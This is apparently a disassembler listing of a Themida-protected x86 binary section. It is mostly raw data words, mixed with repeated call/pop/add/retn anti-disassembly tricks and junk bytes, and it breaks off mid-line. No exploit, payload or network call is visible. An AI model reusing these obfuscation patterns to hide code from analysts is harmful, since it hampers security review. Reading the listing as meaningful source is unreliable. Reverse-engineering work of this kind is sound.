55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 0FF0C9122h, 0E1B58BD3h, 0FF06140Dh, 142DED85h dd 0F08B6606h, 83CE9h, 0E800h, 815D0000h, 17D77EEDh, 7DB53106h dd 81061431h, 142C05BDh, 7D006h, 6C860F00h, 0F000001h dd 58Ah, 0BC5FBE00h, 9D8B5F75h, 61420ADh, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Ah, 47C35545h, 18B5A0FBh dd 60515268h, 14E9h, 336B0000h, 2D30EFDAh, 7A183783h, 2E0315FBh dd 15CF39A9h, 0C58D03EFh, 6106141Eh, 0AB9FBF5Fh, 0E381375Eh dd 100h, 0FDB0BF5h, 7685h, 5E565200h, 0F9BD835Fh, 617D5h dd 2A840Fh, 0BF0F0000h, 83E9FAh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0B58B46C3h dd 61411D1h, 0D5F985C7h, 10617h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 0B58B7EC3h dd 6140435h, 30E9h, 0F78A6000h, 40BADF81h, 0C7610950h dd 17D5F985h, 6, 0FB10BE00h, 8F0F619Fh, 11h, 0CE9h, 0B372F700h dd 54E26B01h, 0CADD65DCh, 0AD9D8D6Fh, 6A061420h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 0AC96C352h, 85422482h, 13E9FFh, 4EA10000h, 74BFBC0Bh dd 5716BF8Eh, 5E7D54C9h, 7C7AFB31h, 0FF2381B4h, 6AFFFFFEh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 40E0C351h, 66522E0Ah, 0BD8BDB8Ch, 6142F9Dh dd 0F04C3F6h, 5184h, 0C800F00h, 0F000000h, 68Ch, 0CD8D8900h dd 0FF06140Ch, 14121195h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0C885156Dh dd 0BD8B471Ch, 61434A5h, 28C0F50h, 8B000000h, 240489F7h dd 1CB1BD89h, 2BE90614h, 0B0000004h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 5557428Eh dd 0ADD477E0h, 0BD8B6ED1h, 6140311h, 8D0F70E6h, 15h, 8E0F60h dd 0E9000000h, 8, 91B20CCCh, 40CAC4FCh, 6A71E461h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 918CC355h, 2BA19D89h, 0BF600614h, 5D284F8Dh, 0F78B6660h dd 6161C18Ah, 6AD8B60Fh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 0A63FC353h, 407E56FFh dd 6880FF8h, 31000000h, 14088DB5h, 6BA06h, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 638379C3h, 459362E1h, 0BE9C38Bh, 7B000000h, 3ADAB403h dd 0CEB371AEh, 0E8C12114h, 53006A04h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0CA262E56h dd 0A72E599Ah, 12D99531h, 0F7660614h, 0EB5CBEE2h, 0D82B1AC9h dd 890F93F8h, 0 ; --------------------------------------------------------------------------- push eax xchg eax, ebx push dword ptr [ebp+6142C05h] mov di, 47BFh call dword ptr [ebp+6142971h] push 0 push eax call sub_5BB64D and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BB64D proc near ; CODE XREF: Themida_:005BB645p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_5BB64D endp ; --------------------------------------------------------------------------- db 36h, 10h, 0E8h dd 11h, 0D916F994h, 4BEECFACh, 202C3D05h, 23C01AAh, 53605F46h dd 34A58D23h, 8B590614h, 0B061F7h, 1121BD89h, 0B58B0614h dd 61423F5h, 816670E6h, 2975ABCFh, 140C099Dh, 0E971E406h dd 9, 8AE092C6h, 3AAD1F1Dh, 0F613CA7h, 28183h, 21B58B00h dd 0F061426h, 6AD8B6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1B0424h, 57470000h, 956A94C3h, 0B16548ADh, 7E901h, 31B30000h dd 9ECFDC36h, 6BA4Ah, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 0A9F5BBC3h, 14850FD6h dd 0E8000000h, 0Dh, 0CD60C30h, 0D0E3AEBCh, 80FE38BFh, 815FF8E3h dd 420606CFh, 0C1C38B59h, 6A04E8h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 13793AC3h, 0E849B274h dd 0BFD4827Ch, 0FB59066h, 6AE2F766h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 0DCEBC350h dd 8D89A752h, 6141359h, 0B523D82Bh, 61401C9h, 50006A58h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 0EBA4F09Dh, 4F14DC55h, 0FD82B88h, 17988h, 2FD68100h dd 0B94C9522h, 7, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 72C35141h, 0C183F8EFh, 0CD9D2900h, 60061416h, 16810Fh dd 11E90000h, 63000000h, 17CF4B48h, 0F687D890h, 1D5A7E10h dd 3C70C6Fh, 0CAE1CE81h, 3B61031Eh, 1B860FD9h, 66000001h dd 66102CBFh, 6AD98Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 9B0E9C3h, 0CDDE0305h, 0C1F6AB4Fh dd 0DF840F04h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 0D16BC357h, 0FF5A723Ch dd 14121195h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 5267489Fh, 6448D630h, 8D29B1E8h dd 6143151h, 21DBD8Bh, 6A5B0614h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 2685C355h dd 0D1015957h, 0B3A39FAh, 0D8D31h, 0C32B0614h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 74C35646h, 21E98FCCh dd 898D8975h, 8B061410h, 140495B5h, 8343D06h, 860F0000h dd 22h, 12E9h, 0B1E3C00h, 0C8A63E6Ch, 0D9C003E7h, 0F21421A6h dd 0E9E04731h, 0Eh, 1EA5BD89h, 0C08B0614h, 1025BD23h, 0C38B0614h dd 6AD88Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 647D8AC3h, 0BEB596CFh, 0C7FAB70Fh, 141C6985h dd 0B457DB06h, 0A1B50B13h, 8B061408h, 57006AC0h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 2DB2D020h, 6820FBDh, 89000000h, 1417D5B5h, 5BD8106h dd 0D006142Ch, 0F000007h, 3185h, 71B58B00h, 0FF061408h dd 142C0585h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 0A3494FBBh, 0B2E80F7Ch, 0B5FF8595h dd 6142C05h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 8FC35646h, 2ED7E70Ch, 4DB53395h, 0F061413h, 68Fh dd 0ADBD8900h, 0FF061416h, 14297195h, 90F28B06h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0FCC35040h, 5054B0DEh dd 2DCCBE66h, 0D830Fh, 8E90000h, 84000000h, 796D2728h dd 5E5D56ECh, 2C1D8D89h, 95890614h, 6140985h, 81F98B66h dd 0D2D99AC6h, 9B5015Bh, 89061413h, 140771B5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 0CF417438h, 8166F82Dh, 6A640FCEh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0B19FC351h dd 0BF30DDBBh, 3CC21D2Bh, 1F799D89h, 0BF660614h, 8B665EDEh dd 1DBD8BF1h, 306142Ah, 1404B5BDh, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 168A4BC5h dd 68F0Fh, 0BD890000h, 6141EC5h, 1F850Fh, 14E90000h, 9E000000h dd 0EC6C017Ah, 448AE17Bh, 4DDE831Eh, 38202A1Eh, 81F10179h dd 68CE28C7h, 0BDBD8B18h, 0E9061430h, 0FFFFF7DDh, 18D8953h dd 8B06142Bh, 142061B5h, 81665E06h, 3119F0D7h, 1411959Dh dd 8BC18B06h, 4EBF2h, 8B000000h, 1425F1BDh, 91858D06h dd 6A061407h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 786CC353h, 4D88FDFCh, 90F08B66h dd 10E8h, 7E075E00h, 821F0C87h, 5C9614E5h, 82A628FDh, 7E86066h dd 9D000000h, 0ECD77548h, 52590234h, 505F615Ah, 8B665250h dd 0BF310FF3h, 7CE6742Ch, 8B90585Ah, 1420A1BDh, 31006A06h dd 140F49BDh, 8D006A06h, 17E17885h, 5C08306h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0EDC35747h, 89EEC172h dd 141B5D85h, 0C800F06h, 0F000000h, 682h, 0BFC68100h, 900BDF73h dd 13E8h, 84A11400h, 0E873B2C6h, 42AA63F6h, 289700DBh dd 3453160h, 5FF28B66h, 810F9050h, 8, 28E0Fh, 0F18B0000h dd 0B58B006Ah, 6140CA9h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 0F6F199C3h, 0BD8BBC4Ah dd 6141F89h, 2BA1B523h, 95FF0614h, 6141B19h, 12E9h, 3363B500h dd 0E5847EB2h, 0FDD74CE6h, 9EB293A1h, 8D0183F7h, 17A7789Dh dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 0E9FCC511h, 5, 0C1385824h, 6AD3FF74h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 0DC5FC357h, 8933B286h, 141CDDBDh, 0ED85FF06h, 6A06142Dh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 0B3DEC356h, 555A46ADh, 805A23F5h, 861E9h dd 0E800h, 815D0000h, 17E182EDh, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 2ACD7B98h dd 14D7DBDh, 1403F19Dh, 5BD8106h, 0D006142Ch, 0F000007h dd 16D86h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1B04h, 0C3514100h, 850DDEC3h, 0CC6A15B0h, 9D8B5F57h dd 6140C5Dh, 6830Fh, 800F0000h, 0 ; --------------------------------------------------------------------------- and ebx, 100h jmp loc_5BBDB1 ; --------------------------------------------------------------------------- db 65h dd 5FA83A84h, 68E1A926h, 0AC26B8F5h, 317D19F2h ; --------------------------------------------------------------------------- pop eax loc_5BBDB1: ; CODE XREF: Themida_:005BBD9Aj or ebx, ebx jnz loc_5BBE60 cmp dword ptr [ebp+617DFBBh], 0 jz loc_5BBDF2 push 0 push esi call sub_5BBDD1 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BBDD1 proc near ; CODE XREF: Themida_:005BBDC9p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_5BBDD1 endp ; --------------------------------------------------------------------------- db 0FDh, 56h, 0ECh ; --------------------------------------------------------------------------- mov edi, [ebp+6140F6Dh] mov esi, ebx jmp loc_5BBE96 ; --------------------------------------------------------------------------- stc loc_5BBDF2: ; CODE XREF: Themida_:005BBDC0j mov dword ptr [ebp+617DFBBh], 1 push 0 push edx call sub_5BBE07 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BBE07 proc near ; CODE XREF: Themida_:005BBDFFp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_5BBE07 endp ; --------------------------------------------------------------------------- db 0DEh dd 85094584h, 6142AF1h, 9E8h, 94C55600h, 860D9980h, 0E95FBAC1h dd 62h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h dd 0BCC35545h, 6A1A0AC4h, 2341B58Bh, 0BD8B0614h, 6140AB5h ; --------------------------------------------------------------------------- loc_5BBE60: ; CODE XREF: Themida_:005BBDB3j mov dword ptr [ebp+617DFBBh], 0 push 0 push eax call sub_5BBE75 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BBE75 proc near ; CODE XREF: Themida_:005BBE6Dp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_5BBE75 endp ; --------------------------------------------------------------------------- fst st test eax, 467D8C7Bh sub bh, al dec esp pusha mov bx, dx push eax pop edi popa loc_5BBE96: ; CODE XREF: Themida_:005BBDECj lea ebx, [ebp+6140C5Dh] push 0 push ebp call sub_5BBEA7 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BBEA7 proc near ; CODE XREF: Themida_:005BBE9Fp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_5BBEA7 endp ; --------------------------------------------------------------------------- db 77h dd 930E5EF0h, 238194D1h, 0FFFFFEFFh, 0DD9BD8Bh, 8C660614h dd 0FAB70FDBh, 0F04C3F6h, 8984h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0E38BB472h dd 6655CB5Fh, 9589F18Bh, 6140A4Dh, 419D2950h, 5F06142Ch dd 121195FFh, 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 0DCF92AC3h, 0AE9D8h, 93250000h dd 83B7CDB6h, 46A57C41h, 0AE990h, 0AC90000h, 5AB7DE6Dh dd 1300772Ch, 8E0F5050h, 2, 905F5F56h, 12A5B589h, 0D0E90614h dd 6A000003h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 728BC350h, 0CE0582FFh, 0BE00B0F5h dd 8C74E5Fh, 6A70E6h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 0F281CC3h, 0E9830D44h, 0Eh, 22C6F436h dd 0EB0BDBEBh, 0CF511E22h, 0BD8BBE3Dh, 6142B11h, 8D8971E4h dd 6141235h, 9D8B60Fh, 140D0585h, 6BA06h, 0BD8B0000h, 6142019h dd 9D89C38Bh, 61417D1h, 0F04E8C1h, 186h, 0F766F500h, 499589E2h dd 2B06141Ah, 51006AD8h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 0D0A59EF0h, 0F935CC1h, 1184h, 0BE525000h dd 12F3AB12h, 8D0F310Fh, 0 ; --------------------------------------------------------------------------- pop edx pop eax push eax xchg eax, ebx push dword ptr [ebp+6142C05h] push 0 push ebp call sub_5BC051 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BC051 proc near ; CODE XREF: Themida_:005BC049p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 15h inc ebp push ebp retn sub_5BC051 endp ; --------------------------------------------------------------------------- db 0E6h, 68h, 0E9h dd 0Ch, 57B222F7h, 0A5EE4105h, 0FBA3FA0h, 297195FFh, 8B500614h dd 0B05EF7h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 16C35242h, 7028C75Bh, 3E0C9897h, 6860FC6h, 0B000000h dd 140A69B5h, 6A70E606h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 0CC3CC355h, 71E4F1F7h dd 2DA9B509h, 6E80614h, 0C3000000h, 0C4EB95E0h, 613C5F0Bh dd 249830Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 3EAEDC3h, 603BB5D5h, 0E8C3B4CAh dd 13h, 0B4F00D8Bh, 5BEBA2B1h, 0CFD8485Ah, 1162BFBAh, 89F18902h dd 14180DBDh, 0B60F5F06h, 39B58BD8h, 0BA06142Ah, 6, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 54C35242h, 0C38BC1E8h dd 0EE9h, 0F2E2D100h, 56FDEABFh, 0A836A5ECh, 0C11B69EBh dd 6E904E8h, 60000000h, 76675CC0h, 0E2F76662h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0C7C35343h, 0BE2BBEAAh dd 306CEB9Ch, 6AD82Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 0A595D2C3h, 0BF589705h, 41BCDF7Bh dd 880FD82Bh, 15Fh, 0BD19D89h, 7B90614h, 89000000h, 141B0195h dd 0C18306h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 6DC35040h, 0B1852909h, 3B06142Fh, 20860FD9h, 6A000001h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 0FFF7C356h, 0F5C19BB1h, 0D98C66F7h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 7FC35747h, 0FF0B7F88h dd 6E865h, 0CA030000h, 0F0EDE555h, 2B41BD8Bh, 0F5F0614h dd 683h, 19D8900h, 0F606142Bh, 840F04C1h, 0ABh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0A6C35242h, 37FB4C4Ah dd 4F92CF20h, 0E5F78166h, 1195FFE4h, 89061412h, 1425E995h dd 6A5B06h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 0C32BBAC3h, 11C19589h, 8D290614h, 6142545h dd 8343Dh, 40860F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 43F6C355h, 25E9DEh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 8BB5C0C3h, 99BD8BC0h, 8B061409h, 6AD88BC3h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 8C46C356h, 7F7BB25Eh, 85C77D44h, 61420ADh dd 5E1E9513h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 16h, 0DBC35141h, 0BD8BB412h, 6140765h, 6AC08Bh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 5B9EEEC3h, 38B0Fh, 8B660000h, 5BD81F8h, 0D006142Ch dd 0F000007h, 3D85h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 8A07EA89h, 73E43F8Ah dd 9D89705Ah, 6141E89h, 8A18589h, 85FF0614h, 6142C05h dd 1A0DBD8Bh, 0B5FF0614h, 6142C05h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 66C35343h, 5D66A23Ah, 663790FCh dd 0FF36E9BEh, 14297195h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0BD8B389Eh dd 6140CCDh, 15D5B58Bh, 6A900614h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 8B73C357h dd 774FC930h, 8B56F02Dh, 140B49B5h, 11BD8906h, 5F061420h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 85C35141h dd 0F7B70F1Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Dh, 47C35646h, 33810964h, 0EABA0008h, 0C810FAAh, 0E9000000h dd 7, 0C6B52EB7h, 0F989FAC1h, 865B589h, 6A0614h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 8A339BC3h, 0F93B9E4Eh, 68E0Fh, 0B58B0000h, 614118Dh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 84C35040h dd 0D5A6953Dh, 0B52B967Ah, 6142E61h, 6BB1BF66h, 6AFEBF0Fh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 9B9FC357h, 14486627h, 8B1EE8CBh, 140F49BDh dd 0F79FE906h, 0C18BFFFFh, 31199D01h, 4EB0614h, 1, 8B666056h dd 665F61F0h, 858DF78Bh, 6140791h, 34B1BD29h, 66500614h dd 890B2BBFh, 0EE92404h, 9D000000h, 6BDD0CCDh, 560EAB3Eh dd 5A68503Fh, 66006A67h, 6AB6C5BEh, 6800F00h, 8B000000h dd 140779BDh, 6A858D06h, 0E80617EBh, 10h, 0A50C35B6h, 967F3D16h dd 0F1E93F65h, 41C449A6h, 0FC4B760h, 87h, 835F6100h, 6A05C0h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 38D761C3h, 71A32C26h, 6690FB8Bh, 9050F08Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0EAC35646h, 379F9034h dd 84A2C781h, 6A08C0h, 699BD09h, 6A0614h, 1B1995FFh, 6A0614h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 7F4226C3h, 0CDC5F905h, 10E84B44h, 0A9000000h, 0F30E7E5Ch dd 0C0709BBAh, 0EA66694Ch, 0F103E4Eh, 28Eh, 5FF38B00h dd 0A7789D8Dh, 27BE0617h, 0FF1F0BFCh, 55006AD3h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0FC2648D8h, 0EE813F93h, 271D6FC2h, 10E9h, 0E27EE800h dd 1CFFAC69h, 0BF4A0BECh, 0CE44BAF2h, 0ED85FFA7h, 6A06142Dh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 0DE6BC352h, 8E9F765h, 0E8000008h, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 617EB74h push 0 push ebx call sub_5BC722 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BC722 proc near ; CODE XREF: Themida_:005BC71Ap arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5BC722 endp ; --------------------------------------------------------------------------- dw 0F764h ; --------------------------------------------------------------------------- cmp dword ptr [ebp+6142C05h], 7D0h jbe loc_5BC8D0 push eax mov [ebp+61406E5h], edi pop esi mov ebx, [ebp+61417D9h] mov edi, [ebp+61401BDh] and ebx, 100h movsx edi, bx or ebx, ebx jnz loc_5BC844 push 0 push esi call sub_5BC774 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BC774 proc near ; CODE XREF: Themida_:005BC76Cp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 14h inc esi push esi retn sub_5BC774 endp ; --------------------------------------------------------------------------- mov dl, 50h pop esi pusha jmp loc_5BC796 ; --------------------------------------------------------------------------- db 0FDh, 0E0h, 4Fh dd 97F1E8A4h db 0E3h, 0Bh ; --------------------------------------------------------------------------- loc_5BC796: ; CODE XREF: Themida_:005BC788j or esi, [ebp+6142A15h] popa cmp dword ptr [ebp+617E9E8h], 0 jz loc_5BC7EA mov esi, [ebp+61409C5h] jmp loc_5BC874 ; --------------------------------------------------------------------------- push 0 push edx call sub_5BC7C0 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BC7C0 proc near ; CODE XREF: Themida_:005BC7B8p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_5BC7C0 endp ; --------------------------------------------------------------------------- dd 0AF9BA7CFh, 86F5F6D2h, 0BD2980F9h, 6142D49h, 5E9h, 8B626900h ; --------------------------------------------------------------------------- add [ebx], edx loc_5BC7EA: ; CODE XREF: Themida_:005BC7A4j mov dword ptr [ebp+617E9E8h], 1 push 0 push edi call sub_5BC7FF and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BC7FF proc near ; CODE XREF: Themida_:005BC7F7p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_5BC7FF endp ; --------------------------------------------------------------------------- db 75h ; --------------------------------------------------------------------------- xchg bh, [ecx+57h] xor cl, [ebx+eax*2-54h] jmp loc_5BC874 ; --------------------------------------------------------------------------- push 0 push ebx call sub_5BC827 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BC827 proc near ; CODE XREF: Themida_:005BC81Fp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ah inc ebx push ebx retn sub_5BC827 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- and dword ptr ds:6E654F07h, 899B533h adc al, 6 loc_5BC844: ; CODE XREF: Themida_:005BC763j mov dword ptr [ebp+617E9E8h], 0 push 0 push edi call sub_5BC859 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BC859 proc near ; CODE XREF: Themida_:005BC851p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_5BC859 endp ; --------------------------------------------------------------------------- db 74h, 0ABh, 5Ch ; --------------------------------------------------------------------------- pusha and eax, 435B529h adc al, 6 loc_5BC874: ; CODE XREF: Themida_:005BC7B0j ; Themida_:005BC817j lea ebx, [ebp+61417D9h] push 0 push ecx call sub_5BC885 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BC885 proc near ; CODE XREF: Themida_:005BC87Dp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_5BC885 endp ; --------------------------------------------------------------------------- db 0C8h, 6, 0E0h dd 0FB8E78FEh, 0FF2381D9h, 6AFFFFFEh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 206BC351h dd 2ACA5673h, 5D8589h, 85090614h, 6141A25h ; --------------------------------------------------------------------------- loc_5BC8D0: ; CODE XREF: Themida_:005BC73Ej mov bx, ds push 0 push eax call sub_5BC8DE and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BC8DE proc near ; CODE XREF: Themida_:005BC8D6p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_5BC8DE endp ; --------------------------------------------------------------------------- xor al, 65h add esi, 3A8FADE9h xor esi, [ebp+6142B2Dh] test bl, 4 jz loc_5BC93C call dword ptr [ebp+6141211h] clc xor esi, [ebp+6140AB5h] push eax mov esi, ebx mov [esp], eax push 0 push esi call sub_5BC923 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BC923 proc near ; CODE XREF: Themida_:005BC91Bp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_5BC923 endp ; --------------------------------------------------------------------------- db 24h ; --------------------------------------------------------------------------- retn 0DDD3h ; --------------------------------------------------------------------------- db 18h dd 0ED122A00h ; --------------------------------------------------------------------------- loc_5BC93C: ; CODE XREF: Themida_:005BC8FFj jmp loc_5BCD50 ; --------------------------------------------------------------------------- push 0 push edx call sub_5BC94C and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BC94C proc near ; CODE XREF: Themida_:005BC944p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_5BC94C endp ; --------------------------------------------------------------------------- leave xor bl, [esi-76254D89h] test [ecx+1], esi adc al, 6 mov al, 0 push 0 push ebx call sub_5BC975 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BC975 proc near ; CODE XREF: Themida_:005BC96Dp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_5BC975 endp ; --------------------------------------------------------------------------- db 6Ch, 60h, 0Fh dd 587h, 0F6DEBF00h, 12E92D46h, 52000000h, 9968E5CEh, 5DE451A5h dd 7C37F762h, 8314DC3h, 70E661DEh, 800Fh, 71E40000h, 26458D29h dd 0B60F0614h, 0F99D89D8h, 0BA06142Dh, 6, 840FC38Bh, 6 dd 1F89B58Bh, 0B58B0614h, 61411EDh, 6A04E8C1h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 8D22C352h, 66EA2E52h, 669847BEh, 0D82BE2F7h, 0B65B58Bh dd 50500614h, 38C0Fh, 8B660000h, 1C895FF2h, 0D5BD8B24h dd 0FC06141Fh, 2C05B5FFh, 870F0614h, 2, 95FFF18Bh, 6142971h dd 2BE5B523h, 0B00614h, 0EE9h, 0B9BCED00h, 3605FA95h, 34644448h dd 0E666B6BAh, 5E85270h, 46000000h, 46196DC7h, 0FE8h, 1AE79900h dd 0AFEE225h, 0E6C9091Ch, 190201B8h, 0BF5E5F5Fh, 7F4DF177h dd 8B0F71E4h, 4, 0DD66BE66h, 830F613Ch, 2C0h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 15C35545h, 0B60FEFDEh dd 6BAD8h, 6A0000h, 3E857h, 5F200000h, 